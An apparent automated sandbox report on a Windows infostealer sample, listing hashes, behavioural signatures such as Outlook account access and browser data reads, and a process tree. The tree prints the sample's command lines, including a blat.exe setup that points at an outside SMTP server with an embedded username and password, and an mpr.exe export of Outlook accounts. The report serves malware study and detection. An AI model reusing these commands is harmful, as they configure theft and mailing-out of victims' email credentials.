Analysis
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max time kernel
122s -
max time network
125s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
08-04-2024 01:25
Behavioral task
behavioral1
Sample
e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe
Resource
win7-20240221-en
General
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Target
e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe
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Size
1.1MB
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MD5
e6507f00c8155f6ec0a857d75431801f
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SHA1
794e6b36e2667a2e81800750ab2126df99b89544
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SHA256
ab46c89d287660a7cefaa2ab6c9a45b6bc9c3e6acdf56738da9f675e56d3987b
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SHA512
059de3bf4f9e0451ba44f863950c388126c6df105eadfb87e872ee5fb9e96a5cdf9a8a2c83c57e1db7947f38dc09a0001094e801c61c846c07af7126f2d1acab
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SSDEEP
24576:7VvsNq/J8UHrzggc4a0ZkR/u2t1sCSSS1HxyifQcLsHBQz:7V3rzgNRokRm6rdQHxLfQcIi
Malware Config
Signatures
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Executes dropped EXE 3 IoCs
Processes:
blat.exempr.exeblat.exepid Process 2556 blat.exe 2372 mpr.exe 2704 blat.exe -
Loads dropped DLL 5 IoCs
Processes:
cmd.exepid Process 2456 cmd.exe 2456 cmd.exe 2456 cmd.exe 2456 cmd.exe 2456 cmd.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Processes:
resource yara_rule behavioral1/memory/2868-0-0x0000000000400000-0x0000000000798000-memory.dmp upx behavioral1/memory/2868-37-0x0000000000400000-0x0000000000798000-memory.dmp upx behavioral1/memory/2868-63-0x0000000000400000-0x0000000000798000-memory.dmp upx -
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
mpr.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts mpr.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
Processes:
mpr.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook mpr.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 24 IoCs
Processes:
mpr.exedescription ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID mpr.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile\ShellNew mpr.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\BrowserFlags = "8" mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\5C62.tmp\\mpr.exe \"%1\"" mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32 mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpr.DocHostUIHandler mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mpr.DocHostUIHandler\ = "Implements DocHostUIHandler" mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mpr.DocHostUIHandler\Clsid mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf mpr.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\EditFlags = "0" mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\5C62.tmp\\mpr.exe,0" mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mprf\shell\open mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF} mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\LocalServer32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\5C62.tmp\\mpr.exe" mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mpr.DocHostUIHandler\Clsid\ = "{3F2BBC05-40DF-11D2-9455-00104BC936FF}" mpr.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\MediaPackageFile mpr.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ProgID\ = "mpr.DocHostUIHandler" mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{3F2BBC05-40DF-11D2-9455-00104BC936FF}\ = "Implements DocHostUIHandler" mpr.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf mpr.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mpf\ = "mprf" mpr.exe -
Runs ping.exe 1 TTPs 1 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
mpr.exepid Process 2372 mpr.exe 2372 mpr.exe 2372 mpr.exe 2372 mpr.exe -
Suspicious behavior: LoadsDriver 1 IoCs
Processes:
pid Process 464 -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
mpr.exedescription pid Process Token: SeDebugPrivilege 2372 mpr.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
mpr.exepid Process 2372 mpr.exe 2372 mpr.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.execmd.exedescription pid Process procid_target PID 2868 wrote to memory of 2456 2868 e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe 28 PID 2868 wrote to memory of 2456 2868 e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe 28 PID 2868 wrote to memory of 2456 2868 e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe 28 PID 2868 wrote to memory of 2456 2868 e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe 28 PID 2456 wrote to memory of 2504 2456 cmd.exe 30 PID 2456 wrote to memory of 2504 2456 cmd.exe 30 PID 2456 wrote to memory of 2504 2456 cmd.exe 30 PID 2456 wrote to memory of 2504 2456 cmd.exe 30 PID 2456 wrote to memory of 2556 2456 cmd.exe 31 PID 2456 wrote to memory of 2556 2456 cmd.exe 31 PID 2456 wrote to memory of 2556 2456 cmd.exe 31 PID 2456 wrote to memory of 2556 2456 cmd.exe 31 PID 2456 wrote to memory of 2372 2456 cmd.exe 32 PID 2456 wrote to memory of 2372 2456 cmd.exe 32 PID 2456 wrote to memory of 2372 2456 cmd.exe 32 PID 2456 wrote to memory of 2372 2456 cmd.exe 32 PID 2456 wrote to memory of 2704 2456 cmd.exe 34 PID 2456 wrote to memory of 2704 2456 cmd.exe 34 PID 2456 wrote to memory of 2704 2456 cmd.exe 34 PID 2456 wrote to memory of 2704 2456 cmd.exe 34 -
outlook_win_path 1 IoCs
Processes:
mpr.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-2461186416-2307104501-1787948496-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook mpr.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\e6507f00c8155f6ec0a857d75431801f_JaffaCakes118.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:2868 -
C:\Windows\SysWOW64\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\5C62.tmp\1.bat" "2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\SysWOW64\PING.EXEping ya.ru -n 53⤵
- Runs ping.exe
PID:2504
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C:\Users\Admin\AppData\Local\Temp\5C62.tmp\blat.exeblat.exe -install -server smtp.yandex.ru -port 587 -f [email protected] -u donakovi -pw 1546323⤵
- Executes dropped EXE
PID:2556
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C:\Users\Admin\AppData\Local\Temp\5C62.tmp\mpr.exempr.exe /export3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- outlook_win_path
PID:2372
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C:\Users\Admin\AppData\Local\Temp\5C62.tmp\blat.exePID:2704
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
340B
MD5b484fff9108e34bc60c06be2188ce7f8
SHA14472a8ea5902d5c770e163d8fb3bc781750c11f0
SHA256f9dcaf616357d5f5db051803eedcbfe99bb1e09573e702becaa104cb2207927b
SHA5125efffd0c08a41eb785250463078cbcb575afebd3333a846671f94034042e376ecb9f5d1f7b24052c69345ee3bd79490cb70e0eb3725df72cdcb855c9b1ff1f14
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Filesize
42KB
MD59b2e0db7547afab728ec31b7288705d6
SHA1cedd09c5fda6c9445d191f97034e23e960361074
SHA256ff44a0fe9d27fc3c1f455b2b9e989235ea55be4b95ed569be4b15129e624214b
SHA5121c4c5eb672541a0fd39ed1174bdd3533e136233bd904c2e8bc7ffcab4f3e9835cbc357a66c6704619795ce983ce57a6a8a206aa922addfcc771dd14c277cdf33
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Filesize
19KB
MD57ee328cd77807a04de8c34c5317287a7
SHA169a8d241b75f20f24201d81d76e48228d4b56339
SHA25656fee519a474a020d69958defc78c4765337c48fc7dc7ba20897be255c0734d8
SHA5125c7235a05d00066ed7a3d8920c7aebc49e170133e45af21c9a7428f736024861525290bbfa928c22916d2211edc0ec8c6c9bb23df9b30c599aeb4cfeccde6361
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Filesize
120KB
MD5724cae63522f6e5f7565a3bf4b2a719b
SHA118620dbd4357d85918070f669ff4b61755290757
SHA256b87814eaf1cd5268e797f1119b58e3fd79381af3f530be9a90993198cbce1779
SHA512af68749cadf9920a8bed455a2557b1faf475d30fdd62f45da6757fbc5a59341fffeccca4ff646b334da95cf673deeeea74bdbb27a16f510a4e3309055f89817d
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Filesize
2KB
MD53cd3cffda2b5108e2778f94429c624d6
SHA13e4d218d1b8eb4fa1ab5152b126951892aff3dc9
SHA256b545194041588fc0a6f57e7eb5a93d2418aaa263d246e3c696a79ee5859770ff
SHA512c80080afcc982c4e950876756fb32c7f24fbe45bfbbe78afe144be1ede86dc9ef1e57db95d3df7f4c6011fd226f23684b929781b55d1be659cfa75d14f8d0c79
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Filesize
1KB
MD5b5a0cfd3e6cb42a29255faa1546f420c
SHA1c55cb0f7b5a04231607498b83629e70105113ee3
SHA256a2d200514887c6f05c9e6150b57cf4541c4923b857cf15723454885b9353dff0
SHA512274a7371f1d75803926380fd10c60c9aa1bb1088594e3e0be5db255bb9f31ae178e8f79ba4b2deb49c24289dea5b17d1244c873e038d0a94159252ab62f4342e
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Filesize
3.3MB
MD58dba37604bf06ebcef07dd1085865a6a
SHA11202eb0ea461c502daa7da9d7d75fff226bf57bd
SHA256038ab25642a1220c27028d0b559062b43764c66541ec07a96b2a99d25d9638b0
SHA5120f286677e964d733ea3270f0f196769d8ddddb4a6bb3007187eae56e9abb5e22ee984703df5356b5d9049e5ad3b24c567ae13773684113a4440b2cce5d0132fa
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Filesize
257B
MD57747daf77047bd41bfe8fe23170c9e70
SHA1916568058d3cd57f4263821c824b72f0aef9b7a6
SHA256b1e4df621dcf3ac9bdcfa4b18ca8f2132e71ac2586bb3df0c52f9993aedd0ee8
SHA5123cd79356260684671a2d51703282bdca3c50b47768c62dd1cf9763f01b74b83cd34380bafd715df0ef05dae06b484041e92f8af99ed50a8eb6361620ea349f5c
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Filesize
112KB
MD531f84e433e8d1865e322998a41e6d90e
SHA1cbea6cda10db869636f57b1cffad39b22e6f7f17
SHA256aeca4a77d617da84296b5f857b2821333fe4b9663e8df74ef5a25a7882693e5e
SHA5127ae504723b5b140e45af3163d1bfdc5ee0497debafba07cfbf1d2c15147c000be53f4ac8d36d926ed11cf0bb62e9e72f9bcf5d4caf92aa732d942f55834e2be9